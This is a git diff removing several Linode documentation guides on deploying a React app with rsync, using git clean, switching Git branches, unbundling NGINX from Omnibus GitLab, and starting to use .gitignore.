[create-react-app](https://github.com/facebook/create-react-app#create-react-app--) tool. - -1. Use the Node Package Manager to create your React app. - - npm init react-app ~/my-app - -### Create your Deployment Script - -1. Navigate to your app's directory. Replace `~/my-app` with the location of your React app's directory. - - cd ~/my-app - -1. Using a text editor, create a deployment script called `deploy.sh` in your app's root directory. Replace the following values in the example file: - - `example_user` with the username of your limited user account. - - `example.com` with your Linode's fully qualified domain name (FQDN) or public IP address. - - `/var/www/example.com/` with the location of your site's web root. This is where all of your React app's local `build/` files will be copied to on the remote server. - - {{< file "~/my-app/deploy.sh" bash >}} -#!/bin/sh - -echo "Switching to branch master" -git checkout master - -echo "Building app" -npm run build - -echo "Deploying files to server" -rsync -avP build/ example_user@example.com:/var/www/example.com/ -echo "Deployment complete" -{{< /file >}} - - This script will check out the `master` branch of your project on Git, build the app using `npm run build`, and then sync the build files to the remote Linode using Rsync. If your React app was not built with `create-react-app`, the build command may be different and the built files may be stored in a different directory (such as `dist`). Modify the script accordingly. - - {{< note respectIndent=false >}} -If your React app's directory is not initialized as a Git repository, the command `git checkout master` will return a `fatal: not a git repository (or any of the parent directories): .git` error. However, the script will continue on to the next commands and the files should still be transferred to your remote Linode server. See our [Getting Started with Git](/cloud/guides/how-to-configure-git/#use-git-with-a-local-repository) guide to learn how to initialize a Git repository. - {{< /note >}} - -1. Make the script executable: - - sudo chmod u+x deploy.sh - -1. Run the deployment script. Enter your Linode user's password when prompted by the script. - - ./deploy.sh - -1. In a browser, navigate to your Linode's domain name or public IP address. If the deploy was successful, you should see your React app displayed. - - ![View your example React app in a browser.](example-react-app.png) - -1. Make a few changes to your app's `src` directory and then re-run the `deploy` script. Your changes should be visible in the browser after reloading the page. - -## Next Steps - -Deployment can be a complex topic and there are many factors to consider when working with production systems. This guide is meant to be a simple example for personal projects, and isn't necessarily suitable on its own for a large scale production application. - -More advanced build and continuous integration tools such as [Jenkins](https://jenkins.io) or [Travis](https://travis-ci.org/) can be used to automate a more complicated deployment workflow. This can include running unit tests before proceeding with the deployment and deploying to multiple servers (such as test and production boxes). See our guide on [Jenkins](/cloud/guides/automate-builds-with-jenkins-on-ubuntu/) to get started. diff --git a/docs/guides/development/version-control/how-to-remove-untracked-files-in-git/index.md b/docs/guides/development/version-control/how-to-remove-untracked-files-in-git/index.md deleted file mode 100644 index c303bbbb5a7..00000000000 --- a/docs/guides/development/version-control/how-to-remove-untracked-files-in-git/index.md +++ /dev/null @@ -1,433 +0,0 @@ ---- -slug: how-to-remove-untracked-files-in-git -title: "Remove Untracked Files in Git" -description: 'Learn how to remove untracked files in git using the git clean command.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-03-18 -keywords: ['Git remove untracked files','Remove untracked files git','Git remove all untracked files','How to remove untracked files in git'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Git clean documentation](https://git-scm.com/docs/git-clean)' -- '[Git ignore documentation](https://git-scm.com/docs/gitignore)' ---- - -During the development process, programmers and other Git users often wind up with many old and unwanted files. These might include prototypes, test data, and computer-generated files. Although these files do not necessarily cause problems, deleting them increases efficiency and improves organization. The `git clean` command is the fastest, safest, and easiest way to delete these files. This guide explains how to use Git to remove untracked files and provides many examples demonstrating how to use `git clean`. - -## Introduction to Untracked Files and Git - -Before using the `git clean` command, it is necessary to understand what an untracked file is and why untracked files matter. In every Git project, there are several types of files. One major distinction is between tracked and untracked files. - -*Tracked files* have already been added to Git through the use of the `git add` command. After a file has been added to Git, Git is fully aware of it. It has knowledge of the file details and contents, and is able to restore this information on demand. Tracked files can be either modified or unmodified. A modified file can be staged, also using the `git add` command. So a tracked file might be in one of several states, but Git continues to monitor it. - -The other category of files are the *untracked files*, which have not yet been added to the repository. Git can determine that these files exist, but it does not know anything else about them. It does not track their contents in its internal database. Because Git is not actively monitoring these files, it cannot take any action on them. For example, it cannot restore or recover the contents of these files. These files remain untracked until they are added to Git using the `git add` command. - -One danger of having untracked files is that the information is not saved. In the event of a hard drive failure, or accidental deletion or overwrite, any data is permanently lost. Because Git never stored the file, it cannot recover it. - -Sometimes, of course, files remain untracked because they were never intended to be added to the system. Some examples might include experimental changes, test data, discarded prototypes, build artifacts, and deprecated files. Some applications also dump a large number of auto-generated files into the working directory. It would be ill-advised to add them to Git. - -These files can certainly be left in an untracked state, and they do not usually cause any problems. However, there is some risk to keeping old and unnecessary untracked files around, due to the following reasons: - -- It is possible to accidentally `add` and `commit` them, especially when using the wildcard `*` symbol. -- They clutter up a workspace and take up unnecessary hard drive space. This can lead to confusion when returning to a workspace later on. It might be difficult to remember what the files were used for and whether they are still important. -- They appear in the output of commands such as `git status` as untracked files. This makes it more difficult to tell what files are truly important. - -There are several alternatives to getting rid of these files. For instance, it is possible to simply delete them using the `rm` command. However, this can be time-consuming, and it is easy to accidentally delete the wrong file. Other alternatives like `git reset` have a wider scope and might also unintentionally roll back changes to tracked or committed files. - -Additionally, some files should not be tracked in Git, but they are still important, and should not be deleted. A good example is a `.cfg` file or build object files. In this case, the `.gitignore` file is used to tell Git to disregard this file. Any files matching an exclusion rule in `.gitignore` are not displayed in the output of `git status` and the various Git commands do not affect them. - -The `git clean` command is the easiest and most efficient method to remove untracked files in Git. This command is highly targeted, easy to use, and does not have undesirable side effects. It leverages the contents of the `.gitignore` file and does not delete ignored files unless specifically told to do so. However, it is still important to use this command with a high degree of caution. When a file is deleted, it is gone for good. Git cannot recover the contents. - -To summarize, all files in a Git repository should eventually be handled in one of the following three ways: - -- They can be added to the repository using `git add`. -- They can be added to the `.gitignore` file, causing Git to ignore them. -- They can be removed using some variant of the `git clean` command. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. It's also helpful to consult our guides on [Getting Started with Git](/cloud/guides/how-to-configure-git/) and [How to Navigate the Linux Terminal and File System](/cloud/guides/linux-navigation-commands/). - -1. **Optional** Git must already be installed on the Linode before trying out the examples in this guide. The `git` package is often already pre-installed. To see if it is present, run the command `git --version`. If Git is already installed, this command displays the current version. If Git has not already been installed, use the command `sudo apt install git` to install it. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## How to Remove Untracked Files Using Git Clean - -This section demonstrates how to remove untracked files in Git using the `git clean` command. This command has several options allowing users to control the behavior or output of the command. `git clean` also has an interactive mode, making it easy to selectively delete a subset of the files. - -Try out the examples in this section using a local Git repository. If the Linode does not already have a repository, you can create one using the `git init` command. Run the `init` command inside the base directory of the repository. - -Without additional options, the command `git clean` does not do anything. One of the `-i`, `-n`, or `-f` options must normally be appended. - -```command -git clean -``` - -{{< output >}} -fatal: clean.requireForce defaults to true and neither -i, -n, nor -f given; refusing to clean -{{< /output >}} - -`git clean -f` is probably the most widely-used alternative. It forces Git to remove all untracked files with no further chance to refine or alter the operation. When it is finished, it displays a summary of the files it deleted. This command is functionally equivalent to manually deleting the files. -{{< note type="alert" >}} -Always use `git clean` with caution. This operation cannot be undone. -{{< /note >}} - -The following example demonstrates how `git clean -f` handles a combination of untracked, and tracked but uncommitted files. Before the operation, `testfile1.txt` has been added but not committed. The two files `testfile2.txt` and `testfile3.txt` have not been added, so they are both still untracked in Git. - -```command -git status -``` - -{{< output >}} -Changes to be committed: -new file: testfile1.txt - -Untracked files: -testfile2.txt -testfile3.txt -{{< /output >}} - -Run `git clean` using the `-f` option to delete the two untracked files. - -```command -git clean -f -``` - -{{< output >}} -Removing testfile2.txt -Removing testfile3.txt -{{< /output >}} - -Use either the `git status` or `ls` command to verify the untracked files have been deleted. The `status` command confirms the tracked but uncommitted file has been left untouched. However, the untracked files are no longer there. - -```command -git status -``` - -{{< output >}} -Changes to be committed: -new file: testfile1.txt -{{< /output >}} - -`git clean -n` reduces the risks associated with the `clean` command. It lists all the files the command intends to delete, but does not actually delete them. It acts like a "test run" of the command and can be used to avoid accidental deletions. - -Starting with the same configuration, the `git clean -n` command lists the files Git "would remove" in an actual operation. - -```command -git clean -n -``` - -{{< output >}} -Would remove testfile2.txt -Would remove testfile3.txt -{{< /output >}} - -Afterwards, the files are still listed in `git status` as they have not really been deleted. - -```command -git status -``` - -{{< output >}} -... -Untracked files: -testfile2.txt -testfile3.txt -{{< /output >}} - -The `git clean -e` option allows users to enter a specific exclude pattern or filename. Files having this name or matching this pattern are not deleted. - -In the following example, there are two untracked files named `testfile4.md` and `testfile4.txt`. - -```command -git status -``` - -{{< output >}} -... -Untracked files: -testfile4.md -testfile4.txt -{{< /output >}} - -To ignore `testfile4.txt` during the deletion process, append the option `-e testfile4.txt` to the `clean` command. The `-f` option is still required to force the remaining deletions. - -```command -git clean -f -e testfile4.txt -``` - -{{< output >}} -Removing testfile4.md -{{< /output >}} - -As a result, the `md` file is deleted, but the `txt` file is not. - -{{< output >}} -... -Untracked files: -testfile4.txt -{{< /output >}} - -`git clean -d` is recursive and cleans both the current directory and any subdirectories. - -```command -git clean -f -d -``` - -{{< output >}} -Removing archive/testfile2.txt -Removing testfile4.txt -{{< /output >}} - -It is also possible to specify a directory to limit the scope of the `git clean` operation. The command only applies to untracked files in this directory. The following example applies `git clean` to any files in the `example` directory. - -```command -git clean -f -d example -``` - -`git config` allows users to change the default `git clean` behavior. This permits `git clean` to delete untracked files without appending the `-f` option. It effectively makes `git clean` equivalent to `git clean -f`. To add this option to the configuration file , use the command `git config clean.requireForce false`. See the Git documentation for more details about [Git Clean](https://git-scm.com/docs/git-clean). - -{{< note >}} -The `-q` option runs `git clean` in quiet mode. This means `git clean` does not report the files it removes, but it still displays any errors. -{{< /note >}} - -### How to Remove Untracked files Using Git Clean in Interactive Mode - -The `-i` option is used to run `git clean` in interactive mode. It allows users to more precisely select the files to delete. This is a good choice for situations where some, but not all, of the untracked files should be deleted. It is also good for those who want to be extra cautious when running this command. - -The `-i` option displays a menu listing all available options. It also lists the files currently scheduled for deletion. - -To enter inactive mode, run the `git clean -i` command. Git displays the main menu for interactive mode. - -```command -git clean -i -``` - -{{< output >}} -Would remove the following items: - testfile2.txt testfile3.md testfile3.txt -*** Commands *** - 1: clean 2: filter by pattern 3: select by numbers - 4: ask each 5: quit 6: help -What now> -{{< /output >}} - -The list of options are as follows. - -- **clean**: This deletes the untracked files in the list the same way `git clean -f` does. -- **filter by pattern**: This option allows users to enter exclusionary patterns. `git clean` ignores untracked files with names matching any of these patterns. For instance, the filter pattern `*.txt` tells `git clean` not to delete any untracked files ending with the `.txt` extension. -- **select by number**: This displays a numbered list of the untracked files. Users can use these numbers to select files for deletion. -- **ask each**: This iterates through the list of untracked files one-by-one and allows the user to choose whether or not to delete each file. -- **quit** -- **help** - -From the main menu, users can select one of the first four options to remove files, quit interactive mode, or display the help page. - -Option `1` acts exactly like `git clean -f`. It removes all untracked files and its use is self-explanatory. It is typically selected after narrowing the list of files down using one of the other methods. The character `c` also launches this option. - -The second option is `filter by pattern`. It allows users to enter a pattern. Any filenames matching this pattern are ignored. This constrains and potentially reduces the number of files the `clean` option removes. - -To use the `filter by pattern` option, starting from the main menu, follow these steps. - -1. Select option `2` or enter the `f` key. Git lists all the untracked files and asks for a further response. - - ```command - 2 - ``` - - {{< output >}} -testfile2.txt testfile3.md testfile3.txt -Input ignore patterns>> - {{< /output >}} - -2. Enter the pattern for Git to ignore. For example, to avoid deleting any Markdown files, enter the pattern `*.md`. The `*` character acts as a wild card. Any file matching this pattern is ignored while the user remains in interactive mode. Git removes the matching files from consideration and displays an updated list of eligible files. - - ```command - *.md - ``` - - {{< output >}} -testfile2.txt testfile3.txt -Input ignore patterns>> - {{< /output >}} - -3. At this point, add any other patterns for Git to ignore. When all patterns have been entered, use the **ENTER** key to return to the main menu. Git then lists all files scheduled for deletion and waits for further input. - - {{< output >}} -Would remove the following items: - testfile2.txt testfile3.txt -*** Commands *** - 1: clean 2: filter by pattern 3: select by numbers 4: ask each 5: quit 6: help -What now> - {{< /output >}} - -4. To delete the list of files, enter `1` or `c`. - - ```command - 1 - ``` - - {{< output >}} -Removing testfile2.txt -Removing testfile3.txt - {{< /output >}} - -It is often easier to specify the files to delete from a numbered list. Enter `3` or `s` to access the `select by numbers` menu. This option allows users to specify individual files, a range of files, or a wildcard `*` specifying all files. Only the intentionally selected files are eligible for deletion. - -Starting from the main interactive menu, follow these instructions to select and delete files by number. - -1. Enter option `3` or use the `s` key to enter the `select by numbers` menu. - - ```command - 3 - ``` - - {{< output >}} -1: testfile2.txt 2: testfile3.md 3: testfile3.txt -4: testfile4.txt -Select items to delete>> - {{< /output >}} - -2. Enter the items to delete, separating them using commas. A range can also be used to select multiple sequential items, using the format `start-end`. The following response selects items `1`, `2`, and `4`, but not item `3`. Git highlights the selected files using a `*`. - - ```command - 1-2,4 - ``` - - {{< output >}} -* 1: testfile2.txt * 2: testfile3.md 3: testfile3.txt -* 4: testfile4.txt -Select items to delete>> - {{< /output >}} - -3. Select **RETURN** to visit the main menu again. Git lists the selected files. - - {{< output >}} -Would remove the following items: - testfile2.txt testfile3.md testfile4.txt -*** Commands *** - 1: clean 2: filter by pattern 3: select by numbers - 4: ask each 5: quit 6: help -What now> - {{< /output >}} - -4. Enter `1` or `c` to remove the selected files. - - ```command - 1 - ``` - - {{< output >}} -Removing testfile2.txt -Removing testfile3.md -Removing testfile4.txt - {{< /output >}} - -The final method for deleting files is the `ask each` option. Enter either a `4` or an `a` to use this option. It lists all files, one at a time, and asks the user whether they should be deleted. Answer `y` to delete the file or `n` to skip the file. - -To use the `ask each` method, follow these steps. - -1. Use the `4` or `a` key to access the `ask each` option. - - ```command - 4 - ``` - -2. Git displays the first file and asks whether it should be deleted or not. - - {{< output >}} -Remove testfile2.txt [y/N]? - {{< /output >}} - -3. Enter `y` to add the file to the deletion list. - - ```command - y - ``` - -4. Enter `y` or `n` for each of the remaining files. - -5. After the user has reviewed every file, Git deletes all selected untracked files. - - {{< output >}} -Removing testfile2.txt - {{< /output >}} - -The remaining two options are self-explanatory. Option `5` (`q`) quits the interactive menu. Option `6` is the help menu, which can also be accessed using `h`. The help menu explains the various options. - -{{< output >}} -clean - start cleaning -filter by pattern - exclude items from deletion -select by numbers - select items to be deleted by numbers -ask each - confirm each deletion (like "rm -i") -quit - stop cleaning -help - this screen -? - help for prompt selection -{{< /output >}} - -## How to Remove Ignored Files Using Git Clean - -The `.gitignore` file specifies which untracked files should be ignored. This is the best option for handling configuration or system files that should not be checked-in nor deleted. Users can run the `ls` command and see these files, but they do not appear in the results of commands like `git status`. This file is often created automatically and is pre-loaded with a list of common extensions to ignore. See the documentation for more information on [Git Ignore](https://git-scm.com/docs/gitignore). - -`git clean` typically ignores the files and filename patterns listed in the `.gitignore` file. This matches the behavior of other Git commands, which also ignore these files by default. - -However, this behavior can be overridden using either the `-x` or `-X` option. These options tell Git not to follow the standard ignore rules. This means Git can consider any files covered by `.gitignore`. However, they differ in how they handle other untracked files. - -{{< note >}} -Git still respects any exclusion rules added with the `-e` option. -{{< /note >}} - -In the following example, any untracked `*.c` files for the project show up in `git status`. However, the `*.o` files do not. This is because the `.gitignore` file includes the pattern `*.o`. This tells Git to ignore files having this extension. - -```file {title=".gitignore" lang="aconf"} -*.o -``` - -Ordinarily, `git clean` does not affect untracked files that match `.gitignore` patterns. Use `git clean -n` to confirm `testfile3.o` is not under consideration for deletion. - -```command -git clean -n -``` - -{{< output >}} -Would remove testfile3.c -Would remove testfile3.txt -Would remove testfile4.txt -{{< /output >}} - -To remove only the ignored files, leaving other untracked files untouched, use `git clean -f -X`. The `-X` option removes the untracked `.o` files. Developers can use this option to force a perfectly clean build. - -```command -git clean -f -X -``` - -Git only removes the untracked files that match a pattern in `.gitignore`. - -{{< output >}} -Removing testfile3.o -{{< /output >}} - -To remove all untracked files, whether they are ignored or not, use the command `git clean -f -x` instead. The `-x` option removes all untracked files, including ignored files. - -```command -git clean -f -x -``` - -{{< output >}} -Removing testfile3.c -Removing testfile3.o -Removing testfile3.txt -{{< /output >}} - -## Concluding Thoughts about Removing Untracked Files in Git - -This guide discusses how to use `git clean` to remove untracked files in Git. Although old untracked files do not necessarily cause any harm, they clog up a work space and create a sense of clutter and chaos. There are several methods of removing them, but the easiest way to remove an untracked file in Git is the `git clean` command. This command deletes untracked files while leaving other files untouched. - -The `clean` command usually requires the force option `-f` to take effect. It also has a dry run mode and can operate recursively. `git clean` has a handy interactive mode that permits users to exclude files based on a pattern filter, or select them from a numbered list. By default, `git clean` does not delete any files matching the `.gitignore` file. However, one option targets only the untracked ignored files, while another acts on all untracked files. For more information on the `git clean` command, consult the [Git Documentation](https://git-scm.com/docs/git-clean). \ No newline at end of file diff --git a/docs/guides/development/version-control/how-to-switch-git-branches/index.md b/docs/guides/development/version-control/how-to-switch-git-branches/index.md deleted file mode 100644 index b46b64304fe..00000000000 --- a/docs/guides/development/version-control/how-to-switch-git-branches/index.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -slug: how-to-switch-git-branches -title: "Switching Git Branches" -title_meta: "How to Switch Git Branches" -description: 'A very basic guide on how to switch a branch in Git using Ubuntu 20.10, but for any operating system with the command line git tools installed.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2021-05-28 -keywords: ['git','branch','branches','switch branch','switch branches','switch git branches'] -tags: ["git", "version control"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Git.jpg -external_resources: -- '[Git](https://git-scm.com/)' -- '[Git Branching - Basic Branching and Merging](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging)' ---- - -Git is a distributed version control system. It supports non-linear, distributed development, allowing multiple contributors to work on a project simultaneously within what are called *branches*. This guide walks you through the basics of what a branch is and how to switch between branches. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. This guide assumes you have Git installed, are familiar with the *command-line interface* (CLI) and Git, and have a project in Git. - -1. Update your local workstation's system using the tools and package managers for your operating system. - -## What is a Branch in Git? - -If you're doing work on a website, application, or other Git project, you probably don't want to push the code to production immediately. This is where creating a branch is necessary, as it marks what version of the code you branched from and allows you to work without breaking anything currently in production, or having you disturb other developers (or vice versa). - -## Why Would I Need to Switch Branches in Git? - -Different branches have different purposes, so sometimes you need to switch from one to another. For example, you may be working in two branches yourself, or you may be pair programming. Git was designed to anticipate the need to switch between branches with `git checkout` (`git switch` was introduced to be more intuitive and decrease the number of functions in `git checkout`, but it is currently considered [experimental](https://git-scm.com/docs/git-switch#_description) and not covered in this article). - -## Switching to an Existing Git Branch - -You may have multiple tasks you're working on in separate branches. Let's say one is a hotfix and one is a feature request. You realize you have something to add on the hotfix, so you need to switch to that branch in Git: - -1. Enter `git checkout quick-hotfix` at the command prompt. - -2. You should then get a response stating: - {{< output >}} -Switched to branch 'quick-hotfix' -{{< /output >}} - -At that point, you can complete the hotfix. - -## Switching to a New Git Branch - -Suppose you are updating your product's API and creating the branch you need to switch to. To do so: - -1. Enter a command similar to the following at the command prompt. The `-b` flag is followed by the name of the new branch. - - `git checkout -b update-api` - -2. You should then get a response stating: - {{< output >}} -Switched to a new branch 'update-api' -{{< /output >}} - -You can then commit work to that branch. - -## Switching to a Remote Git Branch - -Using remote branches is one of the best ways to work with your colleagues. Let's say you're pair programming for the day and your coworker has a branch called "edit-button-feature-request" ready for the two of you. To switch to a remote branch in Git: - -1. Enter `git checkout --track origin/edit-button-feature-request` at the command prompt. - -2. You should then get a response stating: - {{< output >}} -Branch edit-button-feature-request set up to track remote branch newsletter from origin. -Switched to a new branch 'edit-button-feature-request' -{{< /output >}} - -At that point, a new local branch is created, allowing you to start on that feature request, and push to that branch as necessary. - -## Further Reading on Git Branches - -Git branching is an extensive subject. For more on branching in Git, see ["Git Branching - Branches in a Nutshell" on git-scm.com](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell). diff --git a/docs/guides/development/version-control/how-to-unbundle-nginx-from-omnibus-gitlab-for-serving-multiple-websites/index.md b/docs/guides/development/version-control/how-to-unbundle-nginx-from-omnibus-gitlab-for-serving-multiple-websites/index.md deleted file mode 100644 index bf982192237..00000000000 --- a/docs/guides/development/version-control/how-to-unbundle-nginx-from-omnibus-gitlab-for-serving-multiple-websites/index.md +++ /dev/null @@ -1,190 +0,0 @@ ---- -slug: how-to-unbundle-nginx-from-omnibus-gitlab-for-serving-multiple-websites -title: 'Unbundling NGINX from Omnibus Gitlab' -title_meta: 'How to Unbundle NGINX from Omnibus GitLab' -description: 'Unbundle the default NGINX server from Omnibus Gitlab and install and configure your own to enable virtual hosting.' -authors: ["Jordi Bassagañas"] -contributors: ["Jordi Bassagañas"] -published: 2016-02-29 -modified: 2017-06-21 -keywords: ["version control", "git", "gitlab", "install gitlab on ubuntu", "how to manage repositories with gitlab"] -tags: ["version control system","email","ruby","nginx","ubuntu"] -license: '[CC BY-ND 4.0](http://creativecommons.org/licenses/by-nd/4.0/)' -aliases: ['/applications/development/how-to-unbundle-nginx-from-omnibus-gitlab-for-serving-multiple-websites/','/development/version-control/how-to-unbundle-nginx-from-omnibus-gitlab-for-serving-multiple-websites/'] -external_resources: - - '[Updating GitLab via Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/update.md)' - - '[Installing Passenger + NGINX](https://www.phusionpassenger.com/library/install/nginx/install/oss/trusty/)' -audiences: ["intermediate"] ---- - -Omnibus GitLab is a software package (or software stack) that allows you to easily install and run GitLab on your Linode. -This guide walks you through the process of installing and setting up your own NGINX server on a typical Omnibus installation. Using the method outlined here, you are not forced to use Omnibus's default settings, and can create as many virtual hosts as you need for hosting multiple websites and apps on the same server as your GitLab. - -Preconfigured software stacks sometimes bring a series of challenges to those who need to customize specific settings. If you require more control over your installation, consider [installing GitLab from source](/cloud/guides/install-gitlab-on-ubuntu-14-04-trusty-tahr/). This application stack could benefit from large amounts of disk space, so also consider using our [Block Storage](https://techdocs.akamai.com/cloud-computing/docs/block-storage) service with this setup. - - -## Before You Begin - -1. Familiarize yourself with Linode's [Getting Started guide](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and complete the steps for setting your Linode's hostname and timezone. - -2. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a standard user account, harden SSH access and remove unnecessary network services. - -3. This guide has been tested with Ubuntu 14.04 LTS and 16.04 LTS. Some commands will be slightly different for each version, so be sure to read each step carefully for version-specific instructions. - -4. Update your system: - - sudo apt-get update && sudo apt-get upgrade -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, visit our [Users and Groups guide](/cloud/guides/linux-users-and-groups/) for more information. -{{< /note >}} - -## Install Omnibus GitLab - -If you're already running an Omnibus GitLab environment [upgrade to the newest version](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/update.md) and proceed to the next section, [Unbundle NGINX from Omnibus](#unbundle-nginx-from-omnibus-gitlab). If you're installing GitLab for the first time, continue with the steps in this section. - -Note that NGINX cannot be disabled in older versions of GitLab Community Edition (CE). If you currently have an older version of GitLab CE installed, we recommend that you upgrade incrementally to avoid issues. - -1. Install the dependencies: - - sudo apt-get install curl openssh-server ca-certificates postfix - -2. While installing Postfix, you'll be asked to configure a few basic settings. On the first [ncurses](https://en.wikipedia.org/wiki/Ncurses) screen, select **Internet Site** as the mail configuration. On the second screen, enter your fully qualified domain name (FQDN). This will be used to send email to users when configuring new accounts and resetting passwords. The rest of the mail options will be configured automatically. - - {{% content "email-warning-shortguide" %}} - -3. Add the GitLab CE repository and install the `gitlab-ce` package: - - curl -sS https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash - sudo apt-get install gitlab-ce - - You can view the contents of the script in its entirety on the [GitLab website](https://packages.gitlab.com/gitlab/gitlab-ce/install) if you're hesitant to run it sight-unseen. The [GitLab downloads page](https://about.gitlab.com/downloads/) also contains alternative download methods if you're still not comfortable running their script. - -## Unbundle NGINX from Omnibus GitLab - -1. To unbundle NGINX from GitLab, we'll need to disable the version included in the Omnibus package. Add the following lines to `/etc/gitlab/gitlab.rb`: - - {{< file "/etc/gitlab/gitlab.rb" >}} -# Unbundle NGINX from Omnibus GitLab -nginx['enable'] = false -# Set your NGINX's username -web_server['external_users'] = ['www-data'] - -{{< /file >}} - - -2. Reconfigure GitLab to apply the changes: - - sudo gitlab-ctl reconfigure - -For more information on how to customize Omnibus NGINX, visit the [official NGINX documentation](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/nginx.md). - -## Install Ruby, Passenger, and NGINX - -Now that GitLab's bundled NGINX has been disabled, the next step is to install and configure the web server from scratch. - -1. Since GitLab is written in Ruby, install Ruby on your system: - - sudo apt-get install ruby - sudo gem install rubygems-update - sudo update_rubygems - -2. We'll also need to install [Phusion Passenger](https://en.wikipedia.org/wiki/Phusion_Passenger), a web application server for Ruby. Install Phusion Passenger's PGP key: - - sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 561F9B9CAC40B2F7 - -3. Add Passenger's APT repository by adding the following lines to `/etc/apt/sources.list.d/passenger.list`: - - {{< file "/etc/apt/sources.list.d/passenger.list" >}} -deb https://oss-binaries.phusionpassenger.com/apt/passenger trusty main - -{{< /file >}} - - - {{< note respectIndent=false >}} -If you're using Ubuntu 16.04, replace `trusty` with `xenial` in the above command. -{{< /note >}} - -4. Update your package repositories: - - sudo apt-get update - -5. Install Passenger and NGINX: - - sudo apt-get install nginx-extras passenger - -6. Enable the new Passenger module by uncommenting the `include /etc/nginx/passenger.conf;` line from the `/etc/nginx/nginx.conf` file: - - {{< file "/etc/nginx/nginx.conf" aconf >}} -include /etc/nginx/passenger.conf; - -{{< /file >}} - - -4. Finally, restart NGINX. On Ubuntu 14.04: - - sudo service nginx restart - - On Ubuntu 16.04: - - sudo systemctl restart nginx - -For further information, please refer to [Installing Passenger + NGINX on Ubuntu 14.04 LTS (with APT)](https://www.phusionpassenger.com/library/install/nginx/install/oss/trusty/ "Installing Passenger + NGINX"). - -## Create a New Virtual Host - -In this section, we'll create a new virtual host to serve GitLab. Since we've unbundled NGINX, we'll also be able to configure other virtual hosts for other websites and apps. - -1. Copy the default virtual host file to a new virtual host file, replacing `example.com` with your virtual host: - - sudo cp /etc/nginx/sites-available/default /etc/nginx/sites-available/example.com - -2. Edit your new virtual host file to match the following, replacing `example.com` with your own hostname: - - {{< file "/etc/nginx/sites-available/example.com" >}} -upstream gitlab { - server unix:/var/opt/gitlab/gitlab-rails/sockets/gitlab.socket; -} - - server { - listen 80; - server_name example.com; - server_tokens off; # don't show the version number, a security best practice - root /opt/gitlab/embedded/service/gitlab-rails/public; - - # Increase this if you want to upload large attachments - # Or if you want to accept large git objects over http - client_max_body_size 250m; - - # individual nginx logs for this gitlab vhost - access_log /var/log/nginx/gitlab_access.log; - error_log /var/log/nginx/gitlab_error.log; - - location / { - proxy_redirect off; - proxy_set_header Host $http_host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - proxy_pass http://gitlab; - } -} - -{{< /file >}} - - -3. Enable your new virtual host by symbolically linking it to `sites-enabled` (change `example.com`): - - sudo ln -s /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/example.com - -4. Restart NGINX to load your changes. On Ubuntu 14.04: - - sudo service nginx restart - - On Ubuntu 16.04: - - sudo systemctl restart nginx - -5. Since NGINX needs to access GitLab, add the `www-data` user to the `gitlab-www` group: - - sudo usermod -aG gitlab-www www-data - -Congratulations! You have turned a default Omnibus GitLab server into a multi-purpose one. To serve additional websites and apps using your newly unbundled NGINX server, simply create additional virtual hosts above, and configure them to your needs. For more information, please refer to our guide on [how to configure NGINX](/cloud/guides/how-to-configure-nginx/). diff --git a/docs/guides/development/version-control/how-to-use-gitignore/index.md b/docs/guides/development/version-control/how-to-use-gitignore/index.md deleted file mode 100644 index 7a92b966e5d..00000000000 --- a/docs/guides/development/version-control/how-to-use-gitignore/index.md +++ /dev/null @@ -1,498 +0,0 @@ ---- -slug: how-to-use-gitignore -title: "Use .gitignore to Ignore Specific Files and Folders" -description: 'This guide explains the .gitignore file, describes how to create and update it, and documents its syntax' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-06-10 -keywords: ['gitignore','.gitignore','Gitignore syntax','How to add files to gitignore','What is gitignore'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[gitignore Documentation](https://git-scm.com/docs/gitignore)' -- '[Git website](https://git-scm.com/)' ---- - -[Git](https://git-scm.com/) is a powerful *version control system* (VCS). It allows developers to manage, coordinate, and control the contents of their workspaces, but is not without complexity. Git users often struggle with untracked local files that complicate the output of commands like `git status`. This guide explains the `.gitignore` file, which provides a handy workaround to this problem. It also describes how to create a `.gitignore` file, how to add files and folders to `gitignore`, and 